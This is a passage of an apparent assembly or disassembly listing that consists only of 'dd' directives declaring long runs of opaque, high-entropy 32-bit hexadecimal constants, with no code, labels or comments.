		dd 4E1011D0h, 0A95FEB9Bh, 0C7337BA4h, 12900FA5h, 925AECDAh
		dd 75E298F2h, 0AFEF856Ch, 8BD98166h, 298A4C6Ah,	0BF2D1CA3h
		dd 0C47303F2h, 6D3A498Dh, 0EAA08E8h, 3A880E55h,	0B68C83Eh
		dd 0D93F1CDAh, 8703D4C2h, 0AFE7881Dh, 7BE51A29h, 5E408457h
		dd 18D85BCFh, 1FD7EC88h, 5A42CFCEh, 0A7E9159Dh,	78EF2335h
		dd 0E85E0FABh, 0D5E588DAh, 27F8E2Bh, 0B9E0795Ah, 0DACBAFF8h
		dd 0D87509DFh, 77EF7CEAh, 0CB163DADh, 0B669D1B2h, 7A58ED80h
		dd 3F1914FCh, 7FDF6004h, 0E90E7AF3h, 0B8C3B09Ch, 9C638363h
		dd 9154F379h, 6AFABFA1h, 476E3B5Ch, 0B5445691h,	77011FAEh
		dd 9B679802h, 6CB8BAEFh, 849518F3h, 0F644DDE8h,	308F3616h
		dd 2997FF6Dh, 0FA17F8E5h, 25FC6D21h, 446608C7h,	0DB60250Ch
		dd 53134FB5h, 0A09F4BB7h, 0A47D9B9Eh, 0EC92CFF4h, 55D4A667h
		dd 0CC9A527Ah, 8352AF74h, 9DB3DDA5h, 35BBE01Dh,	0F07CE7DAh
		dd 3EC198B3h, 9A5A95D0h, 0BB3E3A62h, 3FBD6550h,	10215DEh
		dd 8E107428h, 8E146A80h, 3799D5E4h, 374416Ah, 31B7435h
		dd 0B6D13B2Dh, 7E573AEAh, 8D16B879h, 68A50A72h,	7E326801h
		dd 0CEBF7A31h, 0DB390E19h, 38279E9Fh, 1A2D8A03h, 1DC7BE2Ch
		dd 866CF438h, 0EA9CDE94h, 1E7065F6h, 1CFDEFCh, 5483B061h
		dd 793C32Ah, 0DD577CB1h, 3A2EA87h, 5587E1B0h, 0B36A14CBh
		dd 7C79FBEEh, 0A05D2EDFh, 0A46757CBh, 0DD3E2F3h, 434B3040h
		dd 20E9C5E1h, 997A5190h, 5B4BD811h, 81857383h, 7BC97B06h
		dd 70D4ACD2h, 9E1D2290h, 0A6A8F04Ch, 7DA057D0h,	478FE70Bh
		dd 0DA898831h, 0D7349C85h, 2D315C51h, 8505D24Bh, 5C79DEE6h
		dd 0CB7250D6h, 2F02C721h, 0CA70ACB1h, 0D6AE1950h, 0E3673050h
		dd 3706E547h, 5A81ED21h, 6EE47F1Dh, 0DCF1B83h, 0D4E6FCDDh
		dd 0A1DA8196h, 0F0446025h, 6920DA41h, 0F3A81917h, 38C76679h
		dd 9B852A45h, 0F99381CCh, 0F6F3AA65h, 936DBF4h,	535395A5h
		dd 6F30571Fh, 46FDAF79h, 0D02B5CC9h, 18368F3Dh,	6CD6DC1Bh
		dd 7EF45F9Fh, 0E4930F2Ah, 9E287041h, 1AAD2D27h,	0D9774FFEh
		dd 0F802544Dh, 0E55DCA89h, 662B3778h, 175B6AA9h, 0F6D7129h
		dd 0F6B36081h, 0E5192438h, 0AC66AD15h, 0BD45207Eh, 0F80D4FFEh
		dd 8045D5B2h, 5EA6CF0Ah, 0FE8C14BBh, 655A3A68h,	233FB042h
		dd 6199EE95h, 0CF6E6B23h, 0A6850995h, 0A88C2761h, 0EE623881h
		dd 4FC74A9Ch, 0BC57C471h, 0C27D2FFAh, 293BC9ABh, 55C19ACEh
		dd 0E9FB12D2h, 514AC982h, 0C3C6A045h, 83F22CC7h, 0F0ABD0E8h
		dd 679A6B69h, 0B5E2E619h, 320AAF97h, 28ED07FBh,	433D3BADh
		dd 36A8D0CCh, 0EA3C665Ah, 5045F9FEh, 3E41AACh, 72C67F5Dh
		dd 9EF10896h, 0B962E110h, 7D80F003h, 85A89AEFh,	0C730F785h
		dd 4D6459A8h, 1899F08Ah, 6094B63Ah, 0C0CCDB40h,	3BE86F02h
		dd 0E034386h, 269A7650h, 55584BB1h, 0D3DF7434h,	0CF6B79EFh
		dd 0A792575Ch, 0B77EBC35h, 466BB3F1h, 0D978DC08h, 5E399519h
		dd 0F89C0869h, 0A0611346h, 0F49C7C70h, 0E9943E55h, 1274AC82h
		dd 6B001B17h, 0C5AFE660h, 23D50512h, 0A383BBD9h, 85A58C8Ch
		dd 0FBB864F8h, 0BBF09185h, 6C272E5Ch, 0B9A07445h, 0B9D5221Dh
		dd 59FF892Fh, 7370A9F2h, 4A68E1E6h, 2E61C695h, 69169ABDh
		dd 1C44EAAEh, 0F7FCE7Ch, 0A0AFF779h, 223DF087h,	4A5472A6h
		dd 47191664h, 8BD9CAF4h, 864C026Ah, 2783CAD9h, 0F18568FFh
		dd 0ACBB124Dh, 8E9BF4F8h, 0E6AE868Eh, 0B570CBCh, 12711B1Bh
		dd 0FD9D6851h, 4000EB8Ah, 63BD887Ah, 4174D1D4h,	0CA4CDE05h
		dd 0F5D16260h, 48015DFDh, 0E73839CEh, 0FFE6A759h, 7C035015h
		dd 0AD2724A0h, 4615706Dh, 881D145Ah, 145DDEF6h,	47C48907h
		dd 27DC8306h, 6297E848h, 0E5A7BC42h, 0D36A16DCh, 28EE0B20h
		dd 0E6FFE428h, 0E2EAA23Ah, 77555802h, 0D3C7324h, 0C2E71DB3h
		dd 505F434Dh, 67B34F56h, 6B367690h, 0A514AE0Eh,	45E890D2h
		dd 0CD9BC12Ch, 6CB8A46Dh, 0CDBE6D5Bh, 0CC4AC1ECh, 0A346CF28h
		dd 3FB2E615h, 204948EDh, 0E9440583h, 0A2A736A2h, 8A00AEDEh
		dd 57E711AEh, 2346FCCBh, 95D1422Dh, 792E945Fh, 1FF67373h
		dd 0F47BB8A0h, 66DAFE06h, 29392F4Eh, 0A68896CBh, 6A941BEBh
		dd 48B02683h, 2E815ABDh, 4C425AAh, 0FF82AA16h, 0F649FB5Eh
		dd 0E66F22Dh, 667FDC87h, 0E7C786AAh, 5A8609E3h,	0BB800735h
		dd 9D805453h, 0B086F0F7h, 31BE5B66h, 414ECAAFh,	0CF80987Ah
		dd 0A5F84347h, 85D45D83h, 0D17093F9h, 0B7BD728Eh, 0E6DE0440h
		dd 459E04E9h, 9148BBF2h, 0EEAA7A50h, 113A0AFDh,	0E740A3E4h
		dd 1C67AC2Ah, 0FDE0371Eh, 6E61C1Dh, 1CFF5647h, 2BD3400Fh
		dd 70679C7Dh, 781875F1h, 63AB2D48h, 0DE22FE59h,	951C2BCEh
		dd 93542DD7h, 5E2A1E3Ah, 3100E911h, 766CFAF1h, 0CE46B3E5h
		dd 0C2507D1Eh, 1BD5FC11h, 6C594401h, 244E8AA0h,	0ECFA108Ch
		dd 4F76323Bh, 0E82EC7E2h, 0A828079h, 3748CF7Ch,	21B4A67Ch
		dd 0E475D87Dh, 3B85DC7Eh, 41B7078Ch, 9E485589h,	3B6A045Ch
		dd 7115A429h, 637A7733h, 9752E5F2h, 0A831A0A1h,	0A376296Bh
		dd 557694A3h, 11EF68D5h, 42CA9553h, 28EE1F57h, 0C94DDA3Bh
		dd 0A84989EEh, 6939F653h
		dd 725561A7h, 0DF92E0C0h, 0DA1CB7D2h, 0F33B6CC3h, 0D2B87430h
		dd 0FBB1FACFh, 0CE45D96Ch, 0B36AA827h, 3526925h, 2F9AECEEh
		dd 8D632701h, 7FEB62E5h, 3E6F97D7h, 0F65BB07Ch,	0FE6114E5h
		dd 52373249h, 0F3F57E2Eh, 75762593h, 0C53A7111h, 0A128C9E1h
		dd 0AD3DD4E8h, 0D79D49B5h, 0F29F329Ch, 6FEFF4BFh, 9E177AE7h
		dd 659377B8h, 0CAB3CB3Dh, 36673DF8h, 0A5586C75h, 0DEC007C8h
		dd 6AD87876h, 3E1A7305h, 0D9E522E7h, 446BFBADh,	5D26BA77h
		dd 59228E31h, 7E302277h, 202AD02Dh, 0EA0CF4DAh,	0AD8DDD08h
		dd 495EA0FAh, 301C85D5h, 0BBAF7C50h, 164B033Ch,	9C80624Dh
		dd 640E7E41h, 0B0848CDCh, 0E064DA65h, 2A35BA66h, 0FC18D7ACh
		dd 0CC04C71h, 4E6D824h,	8DCC8AD6h, 0E3578046h, 0BBC5ED90h
		dd 1A19C3B9h, 461474Bh,	28B87602h, 0D0A31735h, 0FC00B773h
		dd 4BF4DB24h, 0FC719C99h, 860D95FBh, 2589A4A6h,	8760FA31h
		dd 0B2592C37h, 0F35854F5h, 9A7538FAh, 4095F516h, 0E42671D9h
		dd 0A890667Dh, 5A61C2F2h, 4C4E68CFh, 0F6AD09D9h, 64B01DD1h
		dd 6C999581h, 0F5447E7Fh, 0D0C19D3Bh, 1EDEC1E5h, 71660CFBh
		dd 46F6DBF1h, 77BBAEF6h, 276DC511h, 91068AF1h, 7B531369h
		dd 0E075C668h, 5E754EF0h, 968F817h, 89ED006h, 12741694h
		dd 0E6B87E3Ch, 98DD1244h, 1260CEBh, 0A1B9A738h,	0E398F682h
		dd 0FD1B83A6h, 329C8EEBh, 0AEEA2258h, 7F02C66Eh, 0A17AD818h
		dd 0B3F76D14h, 887BEE76h, 213236E9h, 0C31D3AFBh, 0D0FF776h
		dd 6E81330Fh, 5BF49C50h, 0E507C32Bh, 0F960B369h, 0FB7C79F0h
		dd 3D57531Bh, 0C03F74C6h, 0EE39FC8Ah, 9BAEE427h, 0B4B5EA57h
		dd 8E741BD8h, 4AC0972h,	0D80EF0C9h, 6E06337Eh, 64506143h
		dd 953A1E91h, 5A6FC2F9h, 4F96C801h, 4242121Bh, 3400C507h
		dd 0B8E63511h, 1A9685CDh, 671B6AA5h, 9EF6A9C1h,	6F9CE6DDh
		dd 9D5B80D4h, 8BF10B36h, 0F8351E4h, 517D957Ch, 2CF696BAh
		dd 0EF48A4C0h, 50C2EFCAh, 0EA006BA0h, 8B7D4AD0h, 0CE6C974Bh
		dd 0E4A21424h, 74884069h, 0F6D1462Fh, 475942Dh,	0B43D5AF8h
		dd 72AF19E2h, 0CEDDC78Dh, 36F0A95Eh, 99909180h,	0C1F02403h
		dd 0A35B36B9h, 63EB2FAFh, 13DE040h, 791739Bh, 0BD046F79h
		dd 9A678FEBh, 0FB5D6D1h, 550FD716h, 6ACAA813h, 7F832E61h
		dd 7382A9h, 0E58ECE2Ch,	414AE00h, 467772D8h, 5EF34A29h
		dd 400D39F7h, 119303E2h, 9A3ACC5Eh, 81714A6Fh, 21FADD6Fh
		dd 6CC88274h, 4D408C54h, 2080814Fh, 0AE65D633h,	68981049h
		dd 0C3A54C9Ah, 3BA2EE79h, 0A42A692h, 0CD16D278h, 0F8AFD524h
		dd 5FEF25EEh, 0A8108B76h, 5622153Ch, 530FFB1h, 73A3AD34h
		dd 0AFC3FD9Ah, 0FCCE6E5Fh, 9C7AD251h, 5DEBB2A3h, 25E5F7CCh
		dd 4057C479h, 28ADDB31h, 5C359FA5h, 97371C5Eh, 8F8676Ch
		dd 3E885B22h, 0C2F3BC88h, 0C23FD4E0h, 0DB711EBDh, 483DEA04h
		dd 22A0370Bh, 0B2CF7DECh, 4B0DA6Eh, 0CAD0A28Bh,	55500C6Eh
		dd 43F4E407h, 0DC67AB54h, 212507F5h, 0BFF74B04h, 0E25E631Eh
		dd 1F159968h, 3CAB5CBEh, 0CE669379h, 0E97438Bh,	7DF7FE74h
		dd 492D3DEDh, 0D0AF4763h, 8AB2643Bh, 5E5C6E2Dh,	0D49838A6h
		dd 961AC86Eh, 41949F0Eh, 2C1E0D65h, 386767BCh, 30100B8Fh
		dd 97F8B6F3h, 8AF43AACh, 0EE132A72h, 0A3715F7Eh, 25B60ED7h
		dd 789AD3CDh, 0C6E2BA59h, 0F65EA364h, 0D81690EFh, 0EF99B300h
		dd 52123B73h, 5C8C650Ch, 7109AD5Eh, 0EA94D2B8h,	82EB834Ah
		dd 740948B5h, 659B853Ah, 0E2C3E286h, 0B0E74E3Bh, 0F1B9F3D9h
		dd 72F93F25h, 69B75352h, 0A64E61B4h, 22FCC831h,	0C1E9CC9Ch
		dd 0D4F381F8h, 4CA661CAh, 0DF737B02h, 9D9ECAADh, 7A294C91h
		dd 0F58640AAh, 9BD05E95h, 0E4C68B85h, 1DD9D96Bh, 0E958E9BCh
		dd 15D2B83Bh, 0E3ED42CDh, 7FF96AD0h, 450BAC35h,	65F81736h
		dd 0ED33EE86h, 3C0F4647h, 6F5DD96h, 2CAE84A3h, 99276460h
		dd 0EAD717EAh, 99FAD200h, 0ED0F3BEDh, 74FEA5CCh, 0B552D750h
		dd 538691B8h, 0FC2769F3h, 94F8679Dh, 61A7057Fh,	0BD200D9h
		dd 64B209F3h, 0D17C3F83h, 0D5C064A3h, 0BB3F309h, 0F1B70EDEh
		dd 8494B50h, 0CA9E4C5h,	13821B99h, 0ED60B6F5h, 0D378F88Bh
		dd 94181418h, 8ECD805Fh, 0DC58CF0Ch, 0CC99AACBh, 24FC775h
		dd 1F404906h, 419F8472h, 9EF08C3Eh, 3644456Ch, 6BE62BE8h
		dd 421C7985h, 62E8B9F2h, 6A0230BEh, 0B9A3B054h,	9E10BA2Ah
		dd 70B7F7FAh, 0A79D5E2Dh, 0C95D6012h, 727D190Ah, 0FA11B792h
		dd 34130314h, 1CE878FDh, 4F4AA71Ch, 4BC19445h, 20226658h
		dd 985565D4h, 92526CFh,	308C86D5h, 860B683Bh, 0D51711DAh
		dd 0BF3A074Ch, 7C27D482h, 0C7030AF6h, 585347DBh, 6914412Eh
		dd 0BCC0CEDBh, 0A72D58Ch, 720B6D56h, 8ED3183Bh,	18F316C8h
		dd 9748A072h, 7EB8742Eh, 66D17D2Ah, 0DC5A151h, 29F6BA2Dh
		dd 0AB80A0EDh, 1AC8486Eh, 0B9C922D9h, 49567D10h, 203F7066h
		dd 6BC3F88h, 56D51E93h,	298687FCh, 81034DA2h, 15E0E450h
		dd 0B88472B5h, 0AACDF55Dh, 0D416AAC4h, 0B3B7664Ch, 0B9B44F25h
		dd 2EC46734h, 6D502B07h, 5C6C617Ah, 581D0D73h, 7B81F86Fh
		dd 0CB3DBB6Dh, 0A38BB6F6h, 5396B894h, 0F69A7988h, 7BDD8FE8h
		dd 0BCE7DC44h, 22675DFDh, 1D2B615Bh, 1ED3BA5Ah,	3A0296FAh
		dd 8460FA7Fh, 5559411Eh, 1D6B888Ch, 85B1ADDh, 478B9F41h
		dd 0E14F3A35h, 85D99641h, 2ED588FCh, 43A1880Eh,	0A8FCDD04h
		dd 8B67731Fh, 1911039Fh, 3BB73AC2h, 5E13CA10h, 672B881Bh
		dd 2BC96B95h, 0AAD3D930h, 0BEDCAAF5h, 0CC4B0320h, 64F1F983h
		dd 0E01E3752h, 0C87E5115h, 245E6B0Ch, 9186414Ch, 870CFCBEh
		dd 775353C6h, 40F9E190h, 97504929h, 0FEF7CDA1h,	85133F20h
		dd 0C8A6B54Ah, 2319F20h, 61A69506h, 0C43E3E6Eh,	639876E8h
		dd 1B451D48h, 1B6BEB41h, 0D32C44EBh, 506D717Fh,	6B877192h
		dd 8D154F44h, 0AC0BA8A8h, 0A4B40F09h, 61A405BBh, 11B1B392h
		dd 48E9D9C0h, 0C6860C8h, 0C51FB1E3h, 6D6B42D7h,	2663CCDDh
		dd 790D88E4h, 0E9F0000Eh, 855BDE66h, 0FB7D4C3Bh, 0CAD3C5BDh
		dd 0D20D9DC3h, 10F3E32Fh, 0C261D114h, 229C0442h, 6A6A5E09h
		dd 0A471C645h, 0B7736588h, 0E2577518h, 1DFEF8DCh, 4FF04BE3h
		dd 0E2ADC09Fh, 9977D751h, 5739C4A0h, 30B1A6D0h,	0BC2D5462h
		dd 0F474BCCAh, 0D0BD6E4Dh, 0D434C08Eh, 0A76A8360h, 19CB5BAAh
		dd 14C76F2Dh, 57064B87h, 0CFD63A7h, 23B12355h, 0ACDE478Bh
		dd 0ED648699h, 3A838EAEh, 0C0F58C22h, 0ACBC8824h, 323198E6h
		dd 9B073528h, 4AA7209Fh, 3F8D9056h, 551ADD69h, 0D1FBCF97h
		dd 888B057Fh, 657C4BDCh, 0B88DF5B6h, 48043D0Eh,	163158F2h
		dd 25254C36h, 4CCF8B18h, 3A96D48Fh, 94CF2183h, 0E2FA6FF8h
		dd 0A3297930h, 80B55BE8h, 0FA45DF37h, 0F9670605h, 0ABA623F8h
		dd 55E5B1A5h, 0B5251A5h, 0AD988DB6h, 1F4FD1A2h,	791412ABh
		dd 0E6714FA7h, 2FA62968h, 442F689Ch, 0C19EC8EAh, 23EF2528h
		dd 94B4C1F1h, 210D829h,	7EA8183Ah, 0A76FDBBEh, 0D183B718h
		dd 4EA74AFh, 7E35CB5Dh,	237D6DD8h, 0E2972397h, 8E0956AFh
		dd 8D81417h, 40424E27h,	0D90EDAEDh, 0EE2EB981h,	0D98E567Bh
		dd 0E6B84004h, 0E6B12731h, 720DC2B2h, 7494AB4Ah, 38FBAFD2h
		dd 14219D69h, 52E3C92Bh, 0F72DE2A1h, 4435AB91h,	0E1D5EB7Fh
		dd 0F8FD540h, 59F32042h, 5EE608B9h, 2E8BC30Ah, 0D23806E1h
		dd 9DE9CCB0h, 0BBBAB6C8h
		dd 0F3E33F35h, 77537FDh, 0E17434A0h, 1857290Dh,	0C3DC3BEDh
		dd 542DE795h, 6F33A112h, 1B06C4Eh, 0F2380B13h, 382F6DA8h
		dd 199871AAh, 997148FCh, 0DC78B89Eh, 0CA238AF1h, 2EF0BCBDh
		dd 0D67F1F0Bh, 52894B4Ah, 0BFDB1A4h, 48D45E0Fh,	9F9A08BBh
		dd 6C3536EFh, 3AA812Bh,	0DF8E7026h, 97A7B8FFh, 0BF3456AFh
		dd 291CB368h, 6C9E938Ch, 0D990B64Eh, 0C01A2ECDh, 9D04C90Fh
		dd 0E56B06BAh, 58E27A71h, 0E8719F16h, 2D2696A0h, 0DB517ACh
		dd 0BBD9C749h, 288DDC2Bh, 0D4F83D40h, 0D87DFA86h, 97DA990Fh
		dd 272592EEh, 2DCFC335h, 33D8D8E8h, 1216D125h, 79E3E014h
		dd 9151A3B0h, 3A6BEDACh, 0F8E5F0B0h, 6CEBFE22h,	2AE4414Ah
		dd 11596598h, 32E35C3Fh, 3DE6BF22h, 0F62CBFDDh,	4D87D680h
		dd 5084DE0Eh, 0D0E79771h, 9835245Bh, 1028DEC4h,	31E5F63Fh
		dd 0D90D471Dh, 6732ED14h, 3329BEE4h, 0F02C7689h, 0CA8CF7FCh
		dd 130D7BA5h, 61297021h, 0B780912Ch, 64DF61DDh,	9E1C68DEh
		dd 36CB3455h, 77835DEh,	214CA637h, 50B1CBF0h, 6FFFA084h
		dd 72D11A98h, 9CA919E6h, 8087F7F6h, 0D9DE6AF9h,	504D1299h
		dd 7AD7FB0Dh, 6DFB67DAh, 0ADEBC3E3h, 7E21926h, 2DF6563Fh
		dd 400E6512h, 168E302Fh, 86F11B13h, 49F5E6Ah, 0A01E9F7Bh
		dd 505D4E91h, 6A69151Ch, 0AE2A9E2Ah, 3B166F1Fh,	4A0DE234h
		dd 39483C18h, 782B1D02h, 0FB9634F8h, 0E1A5A49Bh, 0DF0F9645h
		dd 89A38208h, 0BFC09C3Bh, 0A3F26646h, 2E439B19h, 92D44A02h
		dd 2B3DAFBAh, 0E1307688h, 70A94CAFh, 0D1BE1AC0h, 4968C486h
		dd 6A46CA4Ah, 0A1E65E0h, 8C3C3F7Ch, 916A632h, 0D5B6EFF2h
		dd 0E0CBD9A3h, 5C1D434Eh, 8375831Ah, 1C552026h,	15E9E38h
		dd 5B1EA521h, 0C3CDD925h, 0A142A0ADh, 0D3505960h, 0D09EABE1h
		dd 0BCAB774Ah, 3B1FDD2Bh, 9C73E98Bh, 28E471CFh,	1DD24909h
		dd 1B1ECF4Bh, 94C65DD5h, 5F9C8FEFh, 0CBCB03h, 27317E0Ah
		dd 1FB9E3h, 0A5FF2643h,	81C703EFh, 0C6196B42h, 71E90310h
		dd 514C6027h, 55534B26h, 0DDD26AD5h, 51EEE73h, 70EA0376h
		dd 164759DCh, 909C38FAh, 0A18655E0h, 0C640D7EAh, 0A832D2E7h
		dd 0EF8E3317h, 0A5282BE0h, 9D417543h, 2014BACCh, 192E0A5Eh
		dd 7FF6F7DAh, 0C1C9EFBAh, 0E513758Bh, 79EDFC53h, 0B827312Ch
		dd 0B01869A0h, 46E83935h, 0B014409Ch, 43BD2F0Bh, 0C744A716h
		dd 266C177Bh, 5A66E203h, 90297FFEh, 522A9713h, 0CC8DE260h
		dd 6FD657D6h, 9FF1277Dh, 1332DEF1h, 0D76FD6FEh,	8A99163Ch
		dd 0FF41C702h, 9391EE7Dh, 0A4624C20h, 546BBF52h, 5CC35C0Dh
		dd 689F25D8h, 82185C6Eh, 0F2DFCCC6h, 0EC10E77h,	0CD17A5D2h
		dd 0E614CF97h, 0E836F2F3h, 4B36BBDFh, 94750FEBh, 6182B7DAh
		dd 0B09F1B98h, 0D5299F12h, 0D5031555h, 0B9AEA575h, 0EE337C5Dh
		dd 8D9104Ah, 0C7A13A64h, 0B6921C37h, 0C0AECC0Ch, 0E6804B3Bh
		dd 8DFE5BB9h, 0A818187Bh, 0D9900E2Eh, 9A586E19h, 0ACDEDD42h
		dd 237C1D28h, 97102029h, 3A03910Dh, 0C6A48E47h,	0AECAE0DFh
		dd 5958A2FBh, 173A05C1h, 8D3D1776h, 3A6CA88Ch, 5E06FBE7h
		dd 3725CA4Dh, 0D701A4D4h, 61234D87h, 67D8C634h,	89F76846h
		dd 2017E3D2h, 0AC2734AEh, 346066F1h, 9F8E3A6Dh,	1FB9EA2Dh
		dd 153C73BFh, 0FFF02058h, 545BD689h, 0D68D47D3h, 0A897DA18h
		dd 2C076955h, 600BF475h, 0A95DA44Dh, 26285184h,	2A30CA37h
		dd 0FE84A2Dh, 0AA9C043Bh, 11538FF7h, 0D209AC7Eh, 96E2F378h
		dd 560E0012h, 871FC35Ah, 0C663367Ah, 1C068D2h, 4965C538h
		dd 0DBF40788h, 0FFEB99D4h, 7F3746A5h, 4C49980Ch, 3EBE2845h
		dd 0C5708FDCh, 0CE18BABAh, 0B370DCD9h, 0C369A84h, 0EB0C328Ch
		dd 0FA17276Ah, 441E64A2h, 34B0635Eh, 4C41D5CFh,	59182DD8h
		dd 1954B382h, 330F24EBh, 50490465h, 33C89A5Ch, 1733BEA3h
		dd 0F006A42Bh, 778CB9BAh, 12333FEFh, 0D1F919F9h, 42BC0611h
		dd 0DBA25A21h, 14159044h, 85366DBCh, 52103DF9h,	3869952Ah
		dd 0D378F6D6h, 0AE0D74C7h, 1992FADDh, 8AD87D51h, 70569D9Eh
		dd 9BEA5D15h, 54872A49h, 0C2B62BDDh, 0FD6C7A8Fh, 4C0CD8ECh
		dd 0FC11FEFAh, 0A9C0A78Dh, 0B8557508h, 0BFB6E41Ah, 0CF2A6A51h
		dd 29B9F836h, 88EBE7B3h, 0F8689913h, 9A776F06h,	0DC5228F2h
		dd 2E228CFFh, 0EEEBDEECh, 9186334Dh, 0C9D54BD7h, 864FBEDBh
		dd 0B50C3DA7h, 0F24AC723h, 0E8E28E0Dh, 0E6557E9Dh, 0F27566A4h
		dd 8FAA8C34h, 577858BAh, 466D4CB6h, 2C0E865Ch, 1611527Fh
		dd 57374E79h, 0C31719B4h, 0FED888AEh, 6F619EE0h, 75D845EDh
		dd 69A1AF3h, 0BB63126Eh, 0D3488086h, 633B9ADCh,	20C76834h
		dd 0EEFEA60Ch, 3A274FF2h, 1EAE9B68h, 2868EAEh, 456BF441h
		dd 0C559BA5Ch, 0B6366D10h, 100C786Bh, 205DAD46h, 9D4113E0h
		dd 0C41CF05Dh, 0D7B553F1h, 30F40AC4h, 9C8A22B6h, 1D87B486h
		dd 7E16851Ah, 0DC7F4C2h, 644EBEE9h, 40653032h, 0BC74CECBh
		dd 68AB85BDh, 598476A1h, 0B0B98E54h, 62E61D92h,	0E31B43FFh
		dd 41FB6B8Ch, 8188CBA7h, 1BE5FF7Dh, 1544EE77h, 0F89382D2h
		dd 0E311A47Dh, 0F4810Bh, 9CDCEB2Eh, 334A492Bh, 0BFF16297h
		dd 0CB52E7AAh, 0ED7DB3C9h, 5B5690E2h, 0C81529F7h, 477C53D1h
		dd 0E5E32EBFh, 0C2018D9Dh, 8DEBC246h, 0DE49734Ch, 0DC512111h
		dd 9FA5E5D9h, 1102570Eh, 0A62B4189h, 0D2FAB36Dh, 0F57FABC8h
		dd 0C36C97CEh, 14E54D1Bh, 0BDD2EE1Ah, 19522C59h, 74B37FE4h
		dd 6950EDC7h, 1672B0DBh, 33F689B4h, 0CDC48A68h,	7E81ABEBh
		dd 9A81BB8Bh, 0DA076144h, 5C5FDB49h, 38789F0Fh,	0F4D193F4h
		dd 0C734AD9Fh, 660CD87Bh, 0E5687933h, 57E2FFCh,	7C617929h
		dd 0AE94F5B1h, 0E45B3ED8h, 40EF356Dh, 704AA8FAh, 64AA18E9h
		dd 0BBC23F91h, 0A72582F4h, 0B7CEBC08h, 88FB50Eh, 68B60ECBh
		dd 870D6E9Dh, 1636968Eh, 9BA11D04h, 8B4C0559h, 0AE138160h
		dd 0BDC9EDB9h, 8450B3DFh, 8E4B2E39h, 329345CCh,	975BE157h
		dd 0EB48AF7Fh, 23FEA200h, 0F991559Fh, 0CF902D36h, 90246998h
		dd 0E456118Bh, 0C01596F9h, 669C96E3h, 61B50867h, 0F3174D30h
		dd 576DF172h, 0C0C23100h, 0C16BABB6h, 0EA007AB4h, 7F5DD3B2h
		dd 9920A33Dh, 0E946CFFAh, 5EC0570Bh, 8E4091A5h,	8768D887h
		dd 0F80ED2DFh, 814319D4h, 0DF946216h, 4A7397B7h, 0FC01C89h
		dd 0A3F22829h, 0C13514ACh, 10B9850h, 7C759750h,	36952E17h
		dd 8B21945Fh, 4BBE7C02h, 4341ED3Eh, 0C72E8C1Bh,	9CD2D804h
		dd 0DB982BF2h, 58C8104Fh, 0C611FA3Ah, 0E2E46741h, 803F876Ch
		dd 738689EFh, 9BC672E3h, 4712F389h, 2EDDDDF1h, 9878530h
		dd 0D5BE4070h, 4B63E4D3h, 9F6F352Eh, 8B86E768h,	0BC594EA6h
		dd 0F967FFA9h, 18EDAAA5h, 0FC9ED575h, 0D2C80BD5h, 30B9FB01h
		dd 0AE70046h, 62EC4A94h, 0B202E932h, 8213FD82h,	97DF57A3h
		dd 3CF02D88h, 7668BB41h, 91CEB0F3h, 0FB35A827h,	0C86E072Bh
		dd 0B1A57F65h, 9B1817DEh, 4F24354Fh, 3AE50ED3h,	0FA882278h
		dd 0B6D72DE9h, 3074ABEDh, 0D6932FACh, 0CE3AB5Ch, 74839574h
		dd 954EF2C1h, 0BC94362Fh, 0F0725E85h, 0C66B25BAh, 6E376810h
		dd 0A7AC86h, 0ED002A72h, 903D48C0h, 944BB327h, 175BAA1Bh
		dd 0AAF89129h, 694FD830h, 8D8DAE8Ah, 9E27F962h,	3F077A63h
		dd 210653E6h, 81734D3Dh, 4DF6CCAFh, 43F3FB8Ch, 0D69A318Ch
		dd 91611B13h, 0F940A5DAh, 4662342Dh, 0CF794EDEh, 7EB228DDh
		dd 42D797DFh, 4FA81932h
		dd 0C3BCB367h, 684302Dh, 10621040h, 280AFA58h, 902DBA5Dh
		dd 7B9DECEDh, 19C5DE7Ch, 40ABB5DCh, 87CB6CABh, 0EB02E2A2h
		dd 98EFECEFh, 0D70239A3h, 69A45AF0h, 635506A2h,	14FC77F9h
		dd 2D4A5CC4h, 0AFE8AA7Fh, 78880F7Fh, 382FEAC3h,	7B5B5121h
		dd 5AC6C6B5h, 9A239983h, 0B7557F20h, 40D093EAh,	55B76FA9h
		dd 1610EFFBh, 32A96615h, 0D73518E8h, 2789961Ch,	30BB9692h
		dd 0A7DF72C9h, 3DB63BC5h, 5F1C3154h, 4F75AB3Ch,	0CCED3766h
		dd 766A682Dh, 713FB09Dh, 0A6B56394h, 7BF9F41Dh,	568F0439h
		dd 0F6900D06h, 80D38FC2h, 28C8FE5Ah, 1AF5E76Ah,	0F19D154Ah
		dd 0ACBD70D6h, 0E5D60DE2h, 0BC45DBB7h, 1EFFBB58h, 222C7000h
		dd 9385F386h, 0D36F3A72h, 0E3B11291h, 7693E75Ch, 92AD2CD4h
		dd 110882E7h, 48CE2A60h, 7AC49FDDh, 86F34F23h, 612AB3F1h
		dd 0D2987F9Dh, 0CEC5C38h, 69771486h, 0A3A0BEA7h, 2270730Bh
		dd 795579D6h, 6FEC8626h, 7989AE7h, 0BF62E4AFh, 76392299h
		dd 1A7474D5h, 0D3E32856h, 43E4D7C5h, 43C45336h,	0D5A45BEFh
		dd 0BF6D84BAh, 411B14BCh, 5AD613F7h, 555C3CBEh,	4E51D4B9h
		dd 0FDFEEA16h, 0D2A695CFh, 0D6758081h, 0D64BA000h, 0A759BA99h
		dd 0F840B141h, 872FD58h, 0F97B62A2h, 0F8002454h, 0FCBA188Dh
		dd 557AEB0Bh, 6AB87B70h, 52F158ACh, 0A6567783h,	0C665E332h
		dd 536A784Fh, 0ED025A41h, 4C13509h, 9EAEEDBAh, 531F48F7h
		dd 114FF037h, 0BBAD8640h, 0B14AADFh, 47421A00h,	0EFF7643Ch
		dd 4BCC600Fh, 9B158140h, 46EE2D34h, 99A2EBE5h, 0AE4FDF08h
		dd 4B124BBh, 71E609h, 315BBAB7h, 0A4BBEAB8h, 45D6B219h
		dd 0A15093F9h, 2F57FE04h, 27AA2B14h, 1AFF3479h,	0C07A88A1h
		dd 6A640B13h, 0B4389193h, 0D8D7385Dh, 8F7D3583h, 0F01ED223h
		dd 0FAE9B186h, 26DF4AD8h, 89911D4Bh, 0BD45C780h, 0F2D94F9Dh
		dd 1B58D9BAh, 0D3C322EBh, 9D881EECh, 9DBA908Ah,	67CED6E3h
		dd 0FDC86026h, 0E3A01729h, 855449EAh, 3BC4F1AAh, 0AF2F3010h
		dd 20788AAFh, 2C240D99h, 0B84E8A70h, 0C2A617D5h, 1B0008B2h
